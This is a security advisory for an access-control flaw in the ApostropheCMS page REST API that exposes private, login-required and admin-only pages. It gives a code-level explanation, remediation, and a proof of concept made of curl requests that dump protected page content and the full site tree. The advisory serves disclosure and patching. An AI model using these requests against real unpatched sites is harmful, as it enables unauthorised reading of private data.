CVE-2026-110904

**Summary** The core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug. **Details** `packages/apostrophe/modules/@apostrophecms/page/index.js`: - `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering. - `all` handler (L318–395): `getRestQuery(req).permission(false)` (L384–385) walks every page type and returns the projection including `visibility`. - `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists — it performs no authorization. - Correct control behaves differently: `piece-type/index.js:getOne` (L319–327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`. **PoC** ``` # Anonymous (no session) — private, admin-only page: curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published" # → 200 {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page", # "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"} # Anonymous full site-map dump (includes private + loginRequired pages): curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1" # → 200, full tree # Contributor (cont_admin) reads full admin-only doc incl. protected field: curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published" # → 200 secretData = TOP-SECRET-VALUE-abc123 # Controls (correctly enforced): curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz" # → 403 curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # → 403 ``` **Impact** Unauthenticated disclosure of `visibility: private` and `loginRequired` pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because `_id`s are enumerable and leaked by `all=1`, this is systemic. **Remediation** — Remove `.permission(false)` from `getOne`/`all` or re-apply the type's `viewRole` threshold plus the same `visibility`/login-required criteria the list and autocomplete paths use (mirror `piece-type`); make `publicApiCheck` config-presence-only and add an explicit authorization step per verb.

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the core page REST API reads full page documents with .permission(false) in getOne and in the all=1 tree dump, bypassing page-type viewRole, visibility: private, and visibility: loginRequired checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by _id/slug. This issue is fixed in version 4.33.0.
